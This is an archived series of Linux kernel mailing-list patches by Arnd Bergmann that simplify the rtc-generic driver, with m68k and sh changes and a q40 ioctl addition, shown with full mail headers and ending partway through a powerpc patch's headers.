+	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
+
+#ifdef CONFIG_MACH_DECSTATION
+	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
+#endif
+	CMOS_WRITE(yrs, RTC_YEAR);
+	CMOS_WRITE(mon, RTC_MONTH);
+	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
+	CMOS_WRITE(hrs, RTC_HOURS);
+	CMOS_WRITE(min, RTC_MINUTES);
+	CMOS_WRITE(sec, RTC_SECONDS);
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century)
+		CMOS_WRITE(century, acpi_gbl_FADT.century);
+#endif
+
+	CMOS_WRITE(save_control, RTC_CONTROL);
+	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
+
+	spin_unlock_irqrestore(&rtc_lock, flags);
+
+	return 0;
+}
+
 #endif /* _MC146818RTC_H */
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH v2 0/6] simplify rtc-generic driver
Date: Tue, 26 Apr 2016 23:52:25 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707607 24112 80.91.229.3 (26 Apr 2016 21:53:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:53:27 +0000 (UTC)
Cc: geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	mpe@ellerman.id.au, dalias@libc.org, dhowells@redhat.com,
	linux-alpha@vger.kernel.org, a.zummo@towertech.it,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, rtc-linux@googlegroups.com,
	linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Apr 26 23:53:17 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avAuy-0005aE-Hx
	for glka-linux-arch@plane.gmane.org; Tue, 26 Apr 2016 23:53:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752665AbcDZVxP (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:15 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.24]:50320 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752483AbcDZVxO (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 26 Apr 2016 17:53:14 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0MAk71-1b0v7x1Cnb-00BrgL; Tue, 26 Apr
 2016 23:52:42 +0200
X-Mailer: git-send-email 2.7.0
X-Provags-ID: V03:K0:NiwnSaZeo2g66olh7tpxeLqf3Wda80HOO2WPuLQ65Q8GHkmV+o6
 XsiFKaf2PZscxuNVNI7RlAL3VZ1A3L0UetoT5lpYW1yvdm1Af7SstjPeaJTqfc9sZCdcR7O
 MZpNRvDzweehXPpCDSuMOPtSULCvOo7iI5agq/tQn+abCKLoZ1PH2FCoVIIw9GBIdUtKDQF
 JG1oP0y2Jd6T6u5sYDVBw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:sXlkor/pkOw=:A8fkOfX+0eXsvK4Dw4sFqb
 yXLfjoglRitDQzBawzK2eSFa0dMHFwDRH4ySpIYsRH/sBRmuU31FKy2CgIOghYOXUn0TEhfqf
 T8VO56MyXjsuSilJJX9Mkaa6xKNnleyr9VxHjYwEZfbPpiTpZ/oThNO31e3K8/JAQpp0iy06e
 Yb70Nir52KGbw2hEF+QCgFPQNsK4BF5nJeiUF7rVySiVsC3fu18cY/gpj5RclLmr2b35OEDpC
 923MwaSMcKMSLIjg31lmI0dOwYgdcQeFEsFhOxTTltORLtnBPKXuFeozplHrkp0cz1WyK7Kqo
 9dF8Gb6Z0GOOi9soJzXlqfSKaZJ/ALfJ/J5DVWCTfHP7OgCusfpKyaaHQBjvDgkDFsgXIwP1y
 nEhgtDNuu7TsMYcW6SiXEzZwohPFxIkrBMkPfrw4VOzcGu/qfPB5xxXVqxQeEVlNmwl2LMCo9
 DckaT3ljuWwdEL3MyWOtZoAVwjP56S7RoRphyU9gO57Jw5MEgQnXHm5vT1pUUQjXohK2JW0kh
 1MfBhY5AdRVHceOR+PmuDr9+UETdgDS65euS8EVep3aAyhrEwnaRllh+t7ceaPzT4ZbFPvlkG
 kl6btUsJ1k4VGTZGwcgEGfQg4Bjx5JB4MMWpJ5tlt2KYgTqU/sxbAawskzLIwzzM/THXmem1b
 MgIYeMQvCZfjrrQyDlqiV1LoVzYRFkYQo2ozVVwK//IKpZqPtjZnQmgowZ16kBH9zNBI=
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31701 gmane.linux.ports.alpha:3647 gmane.linux.kernel:2208428 gmane.linux.ports.parisc:26672 gmane.linux.ports.ppc64.devel:126431 gmane.linux.ports.sh.devel:53828
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31701>

This is a resend of an earlier series, to clean up the rtc-generic
driver by avoiding the dependency on the architecture specific
include/asm/rtc.h header that after this series is only used
for the deprecated "genrtc" driver. As I've shown in another
series, only three architectures (m68k, powerpc, parisc)
actually use the genrtc driver, and they all support rtc-generic
as a replacement as well.

The only missing piece appears to be the ioctl support for
the m68k q40 machine that I'm adding in patch 2 here.

	Arnd


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 2/6] rtc: m68k: provide ioctl for q40
Date: Tue, 26 Apr 2016 23:52:27 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <1461707551-1337971-3-git-send-email-arnd@arndb.de>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707622 24237 80.91.229.3 (26 Apr 2016 21:53:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:53:42 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 26 23:53:33 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avAvE-0005pO-LD
	for glk-linux-kernel-3@plane.gmane.org; Tue, 26 Apr 2016 23:53:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753383AbcDZVx0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:26 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:53165 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753304AbcDZVxX (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Apr 2016 17:53:23 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0LzHnN-1bps9y0mDB-014Xax; Tue, 26 Apr
 2016 23:52:43 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:bZrkVoRWw85RJj0mzAeNVRe2/3m37ZaxKL3N7wP0lTIeb9YygL7
 eTBPheQFllo6mIbjVkaUbMgCQZeHlw1pMRsMNHc3NT6vhw4jWb+RFbIe1pjSEvnYLh/ilxz
 Zz6wAAoSHZlaaaW1FJRCktAG7Bmye88pOWr5xht91U+gI3ribdJEvrNz7mYVDC5Acca301G
 giMaPuHshqCpFRXIf7HRQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:rr7j+HUTrbY=:WuR09wj7egjikmSEB9LDEw
 7/EV922Ee6IsqtpICqno/Q/OmlyXNkW9KhZF3WZKRF1gARCyOe2fNEnelYz1vy3zyDVp1tPSL
 ZlzMUM54LQGNw++4wVVmGujfkXM0zYyopHG8vPZ8G3P4aRimNfJQwFmri6cNvbOBMDcchaScm
 GXldqTP91TbBoGyGdZxDUqnBqR+Zp93BIn2VLkpTt6pIcvmHjR3TnRiHo7NHTVjVAyv5bBGy1
 zvelYGrqo2DlUpelIg0z15pCmTagXr3MpImRTXfKTYJ8LPc88CzU3U+Pb1yXuqsB/Jlqkaie6
 JIEl+puXZbxvRH/3BM9rDYfTThO7fAC7WzPAIn+D/a6ryHTL4Zq4UbKmQqTU70TTh3f43Ywax
 tGD2n2DN8uxFPfbf1/goiperdaokqZdf+nmbJM0JlbnNYdQyoF11hB3aZ1zqeGPkm5YszFI23
 MFDxipMfizdEZH4GU5ymly97i1BGm6zlH+jcF0gw9nGs4kK0igwNO5JbUztXXE4O8gZ2TOzni
 i5i4yPhWJfRoZsecUhyRLFkC+72F7oR7fHcRtShzKsLqy19nMVE0+EuK3FLZhD1mi5k32YF9i
 zwBKo/86NFUS+n4IPD+0CSNJN2mKuDltSrEV/6HLZMUPmeGnF4ucvoQ8ViDC9j4usakqpW74b
 52pso2Pii83QoZoOxObFZME7h4dcVLt1DIjHHZ5z46l3GgqdsyyNTWMoGZHRKyD7ljwU=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2208429 gmane.linux.ports.alpha:3648 gmane.linux.ports.parisc:26673 gmane.linux.ports.ppc64.devel:126432 gmane.linux.ports.sh.devel:53829 gmane.linux.kernel.cross-arch:31702
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2208429>

The q40 platform is the only machine in the kernel that provides
RTC_PLL_GET/RTC_PLL_SET ioctl commands in its rtc through the
mach_get_rtc_pll/mach_set_rtc_pll callbacks.

However, this currenctly works only in the old-style genrtc
driver, not the (somewhat) modern rtc-generic driver replacing
it. This adds an ioctl implementation to the m68k generic_rtc_ops
in order to let both drivers provide the same API.

After this, we should be able to remove support for genrtc
from the m68k architecture.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/m68k/kernel/time.c | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index fe35890feede..5f0a5826a05e 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -100,7 +100,32 @@ static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 	return 0;
 }
 
+static int rtc_ioctl(struct device *dev, unsigned int cmd, unsigned long arg)
+{
+	struct rtc_pll_info pll;
+	struct rtc_pll_info __user *argp = (void __user *)arg;
+
+	switch (cmd) {
+	case RTC_PLL_GET:
+		if (!mach_get_rtc_pll || mach_get_rtc_pll(&pll))
+			return -EINVAL;
+		return copy_to_user(argp, &pll, sizeof pll) ? -EFAULT : 0;
+
+	case RTC_PLL_SET:
+		if (!mach_set_rtc_pll)
+			return -EINVAL;
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+		if (copy_from_user(&pll, argp, sizeof(pll)))
+			return -EFAULT;
+		return mach_set_rtc_pll(&pll);
+	}
+
+	return -ENOIOCTLCMD;
+}
+
 static const struct rtc_class_ops generic_rtc_ops = {
+	.ioctl = rtc_ioctl,
 	.read_time = rtc_generic_get_time,
 	.set_time = rtc_generic_set_time,
 };
-- 
2.7.0



From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH v2 1/6] rtc: m68k: provide rtc_class_ops directly
Date: Tue, 26 Apr 2016 23:52:26 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <1461707551-1337971-2-git-send-email-arnd@arndb.de>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707623 24253 80.91.229.3 (26 Apr 2016 21:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:53:43 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Apr 26 23:53:33 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avAvD-0005pO-H1
	for glka-linux-arch@plane.gmane.org; Tue, 26 Apr 2016 23:53:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753285AbcDZVxV (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:21 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.24]:63640 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752483AbcDZVxT (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 26 Apr 2016 17:53:19 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0MCfv0-1b3O6S2sks-009Oq4; Tue, 26 Apr
 2016 23:52:42 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:umHbvw3BrrmVGhUeJRiTj40axPEgiQYTRd8evKw0atZKkXncTLy
 Zlprx1JQdwFocxBJH2grNRZHRSDNddfESyvAHvMcxbiUjNK1dP/rDjiuFzUxeG7flpFuiq3
 BMlYm30AU1gIgoyAbxS6SlyGxgW5FQydt2w9U5EF4gDBqZ6kBmwwBMQjYOuzAn5UuseKuWi
 TG73vsH+B3ixHp1wsxVfw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:PA50AUbxmHY=:iUPUTWnWNrKQOkR34aFdEX
 7ZYpR0qefsIkqIOFUbm5CVYN5YwnG4JfVrpt7d02HuhCSV0a8NV7ikF7sqi0DEpnaVUTz744I
 97j94MFaGXSgc/n3bBnI3VA/rN/EgymuDjSIWBREXIkQuHI3ZSxYB1Oen63sz0Q2UbF7PjNvQ
 aocjIWYxJ62chmLcQaL1Ax34l8MFLusdcwbAYY1fGUZ7iaIOGla517HDy8DLln/2OOD51Feey
 nUnSn3Z2os4p5laVhDesSDCwGtdkWipGbX4kqeWv+ySP+Jo1vbFSO6E2Bm2TKVFxhPkOaFCBT
 2hpMmcR3tFzlBDqkIRoBTcDSOPkTv5xbilt+ulVNl8ZtezZoKGq0iMTSnOnSeo1CzApc2XgK6
 QidnzkkpBUugteWYp3YcQfCvpvW8D8/KPvkFOKPN03kr7ISNavAttkP2fH0Svm0C1Vu7C6fN4
 vo46/KZmjE5BHSQVDuw4UXg4eqDx8d5sjop9rU6oYxnJotj1dpA1TQmPgQpHCOIz898P/Lwr8
 ZKYbd0q+nrsa9O+A/3wYvZmtbrrynEkYIlgEGbPHp0vmldvxTtZl3nXaOZS2GcnSkvax0d3/c
 1EhR984RTgPkiyGuyCeFUTtP7BU7FM5tGGlAOoN59WCpqIdOJAzlgeo4pptVm33nTXrYtpj+l
 oydXm5gnOcgB9sAEgELdRWMSbetfbsX5wluvMWRn+nZyyfKZBc2mdOiu/b4fp8MkQo8Y=
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31703 gmane.linux.ports.alpha:3649 gmane.linux.kernel:2208430 gmane.linux.ports.parisc:26674 gmane.linux.ports.ppc64.devel:126433 gmane.linux.ports.sh.devel:53830
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31703>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and m68k has another abstraction on top, which is a bit
silly.

This changes the m68k rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/m68k/kernel/time.c | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 3857737e3958..fe35890feede 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -86,7 +86,24 @@ void read_persistent_clock(struct timespec *ts)
 	}
 }
 
-#ifdef CONFIG_ARCH_USES_GETTIMEOFFSET
+#if defined(CONFIG_ARCH_USES_GETTIMEOFFSET) && defined(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	mach_hwclk(0, tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (mach_hwclk(1, tm) < 0)
+		return -EOPNOTSUPP;
+	return 0;
+}
+
+static const struct rtc_class_ops generic_rtc_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_init(void)
 {
@@ -95,7 +112,10 @@ static int __init rtc_init(void)
 	if (!mach_hwclk)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	/* or just call devm_rtc_device_register instead? */
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &generic_rtc_ops,
+					     sizeof(generic_rtc_ops));
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
-- 
2.7.0


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 5/6] rtc: sh: provide rtc_class_ops directly
Date: Tue, 26 Apr 2016 23:52:30 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <1461707551-1337971-6-git-send-email-arnd@arndb.de>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707623 24257 80.91.229.3 (26 Apr 2016 21:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:53:43 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Apr 26 23:53:33 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avAvC-0005pO-Cd
	for glpm-linux-m68k@plane.gmane.org; Tue, 26 Apr 2016 23:53:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753270AbcDZVxS (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:18 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:53695 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753201AbcDZVxR (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 26 Apr 2016 17:53:17 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0Lu38g-1bsspO2x8Q-011UvY; Tue, 26 Apr
 2016 23:52:45 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:BGBndQUJDT4ES7CGY3X0lncK6SMTZ2yBdeOJdGvNqP8OkP22msP
 CtKnZ+eqec4Ac7wreZdyXxbf39JN1qgarqQ04P0DZwUJvNbKMV/m8MjxIY4Y27oBuZ8urQQ
 hUnMSyDfcjvMKsqrFeWJQlVO+lMh8Mub0lbrq2W4KeSJBmPbsXTbyCxQit1lcYJP5map3UA
 QujDbjZytXtBihyf+g8HA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:e7Fwf34aBf0=:vFnvpEKzXBDpHqhl8dbLNA
 ZuvsfCCeU8GLNFR+3WUpByYGlN8cgc7ExaT5p28VNEzQ+I7fHTT3QQ77VymCD5U2TaRJzhk1q
 G+XT2rXNqP+IQfvHXQRYtcPlQ2bYo2KiwSm6YRajLrAFHD/CIg/tYs3F6TxqxPZOe+uuIHuSF
 qh+GqQP1W9LbdrSxtIqIfW5fNpCceQ/xsU6zw3fNzEot/Xo36X+4vcmE6c1RvkD2OGS0zbnBY
 31hVCES1izeRBqOJgbFNCMeFYqdJBxGIczg22hCoEWlWrK6ZIbXyqJXFazsmPopP0D/RHFTG3
 8ceX8VVxzuIIUmCY1V2sjs76liJWe3IE9mfMe1h3JegraFL+VAXkhSuWUMOR9cFjV8Y7fGgSv
 fI/SkcGEQNVVIXc54DByyJ8VWsefRg33JX/s081futM14T/41KBR/ickX+CjYbyRyKNfShrWR
 bVJQ5N3b8pglVxPoufgQ/66RHzbVXPCLR3WOJs3rDxQATa+mKDMrASn3+FRFYTmLNdFtF9jA/
 wPC0nvAAq6lurIXPBK8DTwwAuPzHZWoFlHtb0k4W7EK5ZFSJ6WZnLXe6IHUzZAcWWRMqbWZVy
 ounDgon1nZsw67XxeeqCwGWFXfhTzqw/doEipO6/1+pFEikAGj9DLiavWlwstp7afqUzXyKqD
 qkltLw36q0xJ5YGEK5RT4RqX2IgmIwtsFYapRGCs7pT8trb4HJSqkZBwoxteqOZlzuGs=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8545 gmane.linux.ports.alpha:3650 gmane.linux.kernel:2208431 gmane.linux.ports.parisc:26675 gmane.linux.ports.ppc64.devel:126434 gmane.linux.ports.sh.devel:53831 gmane.linux.kernel.cross-arch:31704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8545>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on sh, that goes through another indirection using
the rtc_sh_get_time/rtc_sh_set_time functions.

This changes the sh rtc-generic device to provide its
rtc_class_ops directly, skipping one of the abstraction
levels.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/sh/kernel/time.c | 32 +++++++++++++++++++-------------
 1 file changed, 19 insertions(+), 13 deletions(-)

diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
index d6d0a986c6e9..92cd676970d9 100644
--- a/arch/sh/kernel/time.c
+++ b/arch/sh/kernel/time.c
@@ -50,27 +50,30 @@ int update_persistent_clock(struct timespec now)
 }
 #endif
 
-unsigned int get_rtc_time(struct rtc_time *tm)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
 {
-	if (rtc_sh_get_time != null_rtc_get_time) {
-		struct timespec tv;
+	struct timespec tv;
 
-		rtc_sh_get_time(&tv);
-		rtc_time_to_tm(tv.tv_sec, tm);
-	}
-
-	return RTC_24H;
+	rtc_sh_get_time(&tv);
+	rtc_time_to_tm(tv.tv_sec, tm);
+	return 0;
 }
-EXPORT_SYMBOL(get_rtc_time);
 
-int set_rtc_time(struct rtc_time *tm)
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 {
 	unsigned long secs;
 
 	rtc_tm_to_time(tm, &secs);
-	return rtc_sh_set_time(secs);
+	if (!rtc_sh_set_time || rtc_sh_set_time(secs) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
 }
-EXPORT_SYMBOL(set_rtc_time);
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_generic_init(void)
 {
@@ -79,7 +82,10 @@ static int __init rtc_generic_init(void)
 	if (rtc_sh_get_time == null_rtc_get_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
-- 
2.7.0


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 3/6] rtc: powerpc: provide rtc_class_ops directly
Date: Tue, 26 Apr 2016 23:52:28 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <1461707551-1337971-4-git-send-email-arnd@arndb.de>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707625 24273 80.91.229.3 (26 Apr 2016 21:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:53:45 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
